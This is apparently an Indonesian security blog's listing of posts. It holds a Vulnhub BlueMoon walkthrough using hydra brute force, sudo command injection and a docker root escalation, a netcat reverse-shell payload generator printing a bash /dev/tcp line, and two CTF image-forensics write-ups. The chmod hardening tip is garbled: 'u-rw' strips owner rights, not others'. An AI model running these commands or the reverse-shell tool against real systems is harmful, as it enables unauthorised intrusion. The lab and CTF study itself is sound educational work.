Pengikut

Rabu, 29 Januari 2025

Vulnlab (1) -- Vulnhub@BlueMoon (WriteUp)


Disclaimer: Praktik ini dilakukan pada target yang sudah diizinkan untuk diretas seperti vulnlab atau laboratorium/virtual machine yang berasal dari Vulnhub. Bertujuan untuk edukasi semata.
---------------------------------------------------
Kalau mau ke Vulnhub page-nya: KESINI
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Kalau mau langsung download: KESINI
---------------------------------------------------

1. Scanning & Enumeration


Kita pakai nmap dengan -sC (script scanning) dan -p- (semua port) untuk permulaan
nmap -sC -p- 192.168.1.11 -T5

Output:


Ok, ternyata port 21 (ftp), 22 (ssh) dan 80 (http/web) terbuka cuy. Coba kita lihat webnya dengan buka chrome lalu search "http://(IP nya)"

Page:

Saya sudah cek source code nya dan tidak menunjukkan apa-apa, yaudah deh saya pakai dirsearch buat direktori enumeration. Saya pakai wordlists dari Seclists medium web, kalau mau lihat bisa KESINI.


dirsearch -u http://192.168.1.11 -w ~/medium_web_list.txt

Execute:

Nah ada direktori hidden_text tuh, coba kita buka.

Page:


Bentar kok kata "Thank You" nya seperti link gitu. Pas dipencet ternyata adalah link yang mengarah ke file gambar yang mirip dengan QR Code.

2. Analisis gambar/Steganografi


File/Image:


Saya pakai QR code scanner online aja biar cepet.

Output:


3. Akses Shell (1).


Ok, logikanya kalau kita bisa login FTP ke sistem yang berbasis Linux. Ada kemungkinan Kredensial login kita bisa digunakan pada SSH + kita pakai python -c untuk menggunakan pty buat mengubah shell kita agar nanti kalau mau apa bisa enak, pakai /bin/bash aja biar lebih stabil.

ssh userftp@(IP nya)
password: ftpp@ssword
python -c 'import pty; pty.spawn("/bin/bash")'

btw, pas saya lihat lebih dalam lagi. Ada direktori "files" yang berisi dua file yaitu information.txt dan p_lists.txt. Coba kita lihat information.txt nya.

Output:


Ada pesan bahwa user dengan nama "robin" disuruh untuk memilih antara password disuatu list yang dimana, adalah file bernama "p_lists.txt". Kita copy paste isi filenya lalu taruh di file kita lalu langsung brute force user "robin" pakai hydra.

hydra -l robin -P p_lists.txt ssh://(IP nya) -t 4

Output:


Kita keluar dari userftp dan langsung ssh ke user robin-nya pakai "ssh robin@(IP-nya)".

4. Akses Shell (2).



Ok, ada 2 file lagi nih. "user1.txt" yang merupakan flag pertama kita. Dan feedback.sh. Bentar coba kita otak-atik dengan "sudo -l" untuk sedikit melihat config sudo antar user-nya.


Hmm? kita bisa menggunakan user "jerry" untuk mengeksekusi "feedback.sh" dan file tersebut ternyata 
vuln dari kata "$feedback 2>/dev/null" coy. Yang artinya bisa kita gunakan untuk mengeksekusi suatu command dengan atas nama user "jerry"

sudo -u jerry ./feedback.sh 
Name: apaaja
feedback: /bin/bash
python -c 'import pty; pty.spawn("/bin/bash")'

Execute:


Sip kita sudah dapat flag yang ke 2.

5. Root access/akses root

Coba kita pakai command "id" untuk sedikit melihat informasi akan user yang kita gunakan saat ini.


Hmm? docker? coba kita pakai payload privilege escalation with docker untuk mendapat root.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# penjelasan:
docker run --> buat jalanin kontainer baru.
-v /:/mnt --> buat memasang direktori host dari '/'yang merupakan root ke '/mnt' pada kontainer.
--rm --> otomatis menghapus kontainer setelah selesai.
-it --> perpaduan antara terminal, shell interaktif.
alpine --> nama gambar docker untuk container.
chroot /mnt sh --> mengubah direktori root ke /mnt dan memulai shell.
Execute:


6. Penutup praktik

Nah udah deh, disini kita bisa melakukan apa aja. Deface atau segala macem.

Sebelum: 


Sesudah:


7. Kesimpulan

walau ini vulnlab yang dimana semua kerentanan ada yang disengaja, kita bisa mengambil kesimpulan bahwa untuk meningkatkan keamanan agar tidak terjadi seperti ini bisa dengan cara:

1. Usahakan jangan buat file password list biar gak di crack, kirim langsung aja ke orangnya.
2.  Pastikan pengaturan user-nya aman 
3. Jangan pakai ftp karena lebih mudah dibaca (plain text).

Sekian

Sabtu, 25 Januari 2025

Cara membuat file dalam website mu lebih aman (apache2)

 


Disclaimer: Post ini hanya bertujuan untuk edukasi dengan tema meningkatkan prinsip keamanan CIA Triad ke 1 (Kerahasiaan).

Jujur ini adalah hal yang basic tapi penting banget kalau kalian semisalnya menaruh file penting dalam website kalian yang dibutuhkan seperti config, .htaccess, dan lainnya yang sensitif. Ini sebenarnya bukan kerentanan sih. Hanya saja bisa jadi jembatan penyerang untuk mencari kerentanan lainnya. Hal ini sering ditemukan pada website CBT, website kecil-kecilan, dan website yang kurang diperhatikan

Semisalnya ada suatu website yang menyimpan file rahasia yang ada di /var/www/html atau tempat dimana file index website tersebut ditaruh.

contoh website:


Nah penyerang bisa aja nyari hal yang disembunyikan lewat gambarnya.
Contoh:


ternyata gambar tersebut tersimpan pada suatu direktori "img/" dengan nama file "boci.jpg", coba kita bedah lebih lanjut ke direktori tersebut dengan mengganti "/img/boci.jpg" menjadi "/img" saja.


Nah ada file "secret.html" tuh, coba kita buka.


Ok jadi gimana cara membuat file kita lebih aman? Dalam Linux ada yang namanya "chmod" untuk mengatur izin baca, tulis/edit, dan execute/run. Ketika kita mengakses suatu web apache, kita hampir mirip dengan user www-data dalam mengakses file. User ini dibuat agar ketika penyerang berhasil mendapat akses shell ke web tersebut, dia hanya menjadi user www-data yang memiliki akses terbatas yang lebih dominan ke arah baca saja. Otomatis kita penyerang bisa baca nih file yang sensitif dan gimana cara membuat penyerang atau orang yang tidak memiliki hak tidak bisa membaca file tersebut?


# untuk menghapus izin baca pada user lain (others) pada semua isi direktori + direktorinya (pengunjung web termasuk)
chmod u-rw -R (direktori yang ingin disembunyikan). atau 
chmod u-rw (file) untum file tertentu
# Jangan pakai command yang pertama kalau kalian pakai ke file/direktori yang perlu diakses

Kalau kita jalankan command di atas maka pengunjung/penyerang web tidak bisa melihat file tersebut.

Sebelum pakai command chmod:


Page:


Sesudah:


Page:



Gimana? mudah kan? + direktori "/img" juga tidak bisa diakses oleh pengunjung/penyerang web. Kebanyakan web yang menggunakan cara ini juga lupa untuk menghapus akses baca pada suatu file dalam direktori, jadi walau direktorinya gak bisa kita baca. Kita masih bisa lihat file didalamnya.
Sekian.

Sabtu, 18 Januari 2025

Simple Netcat reverse shell payload generator (Bash scripting)

 


Disclaimer: Post ini hanya bertujuan membantu dalam hal baik dan edukasi, penulis tidak bertanggung jawab akan peretasan yang dilakukan dengan mengambil dalam post ini. Tool ini memiliki unsur-unsur reverse shell yang bisa mengendalikan sistem tanpa izin juga melanggar kode etis CIA Triad ke 1 dan 2 (Kerahasiaan dan integritas). Penulis menyarankan pembaca untuk menggunakan tool ini pada target yang sudah memberi izin akan penetration testing seperti Vulnlab atau CTF.

Halo semuanya, gimana kabar kalian?. Maaf nih pembahasan kali ini agak kurang kompenten dengan yang minggu lalu, singkatnya saya mau kasih script untuk reverse shell generator. Jadi pertama kalian diminta untuk masukin nomor port untuk netcat shell kalian.

Nanti bakal otomatis start netcat-nya dengan IP kalian dan port yang kalian masukin, tinggal kalian tembak-kin payload yang diberikan tool ini kepada target kalian setelah itu lihat hasilnya.

Github version: DISINI


#!/bin/bash
MYIP=$(hostname -I | awk '{print $1}')
echo "Port: "; read PORT
echo "Your Payload: bash -i >& /dev/tcp/$MYIP/$PORT 0>&1"
nc -lvnp $PORT

Copy paste ke file script kalian dengan ekstensi (.sh) setelah itu tinggal di run. Kalau keluarnya 0.0.0.0 kalian gak usah bingung, ini karena script saya pakai parameter -n untuk menoknatifkan resolusi DNS untuk membuat netcat mendengarkan seluruh jaringan antarmuka bisa multi target juga tuh. Dan agar memudahkan netcat untuk diarahkan pada custom target yang merupakan target yang sudah kalian tembak payload ke dia. Singkatnya untuk menerima koneksi ke berbagai alamat IP.

Sekian

Minggu, 12 Januari 2025

CTF-RST(2): Cute Cerberus.

 


Halo semuanya, gimana kabarnya?. Di CTF kali ini kita masih berhubungan dengan gambar tapi dengan cara analisis yang berbeda. Jika tadi membahas soal steganography kini kita membahas akan forensik. Ok langsung aja kita ke pembahasannya.

Kita dikasih gambar yang merupakan target/file yang akan kita cek, gambar ini berupa gambar anime biasa berjumlah 3 gadis perempuan (imut banget woilah). Dengan nama file: "cute_cerberus.jpg".



Sekilas hanya foto biasa dan format isinya juga begitu saja, jadi kita ingin melihat bagian metadatanya!. Metadata adalah informasi yang diberikan oleh pengguna atau pembuat gambar untuk dijadikan informasi umum pada suatu file, tidak hanya file saja. Gmail, akun, dan web juga punya metadata. Jika kalian bingung kalian bisa lihat ilustrasi gambar ini.


Untuk melihat suatu metadata kalian bisa pakai tool bernama "exiftool". sebenarnya kalian bisa pakai metadata checker online di web tapi kalau mau langsung di terminal. Kalian pakai command:

~ sudo apt install exiftool

~ exiftool <file>


output:


Nah!, di bagian "copyright". Ada format base64 yang kalau kita decode/ubah ke teks dengan command:

~ echo "Q1RGUlNUe3MwTl8wZl9oNEQzNX0=" | base64 -d

Maka akan keluar berupa flag yang kita cari:   CTFRST{s0N_0f_h4D35}
Sekian.

Jumat, 10 Januari 2025

CTF-RST(1): Jangan mudah tertipu.



Halo teman-teman bagaimana kabar kalian?, kali ini saya akan sedikit membahas salah satu level CTF dari web bernama Rajawali Cyber Team. Jika kalian berminat kalian bisa ke sini CTFRST. Ok tanpa basa-basi persiapkan buku catatan kalian jika ada hal penting yang bisa kalian catat dari postingan ini yang mungkin bisa membantu kalian nanti.

Singkatnya di level CTF ini kita disuruh untuk mendapat pesan rahasia dari suatu file image (katanya kita disuruh untuk mencari pesan tersebut). akan tetapi ketika dibuka image-nya berisikan seperti ini.


Lah, pesan rahasianya mana? sekilas mungkin hanya sebuah gambar. Karena itu kita ingin melihat suatu yang lebih dalam!, kita ingin tahu apa format isi yang membentuk file ini, apakah ada pesan yang dimaksud? masih ingat soal command "cat" dan "strings"?. Jadi cat berfungsi untuk menampilkan isi file secara polos, jadi binary + text yang ada di suatu gambar ditampilkan semua. Tapi kalau pakai strings kita bisa melihat unsur "human readable" atau huruf yang bisa dibaca manusia pada suatu file.

strings RSTstegsteg.jpg

output:


Wah apaan nih? pas saya scroll ke atas sampai mentok kok kayak ada yang gak asing ya?, ini membuat saya teringat akan satu tool yang bernama "steghide". Jadi tool ini berfungsi untuk menyembunyikan file pada suatu image, dan biasanya tanda-tanda gambar yang disisipi file oleh steghide memiliki format header atau bagian atas format strings seperti pada gambar diatas. Kalau kalian mau belajar lebih lanjut akan tool ini kalian bisa lihat di youtube atau lainnya.

~ steghide extract -sf RSTstegsteg.jpg
(Kalau diminta password/passphrase, kosongin aja langsung enter)

output:


Nah!, kita dapat file bernama "steganopayload485402.txt". File ini kalau di lihat berisi flag yang merupakan pesan rahasia dari image tersebut, tinggal kita submit deh.

flag: CTFRST{JANGANMUDAHTERTIPU}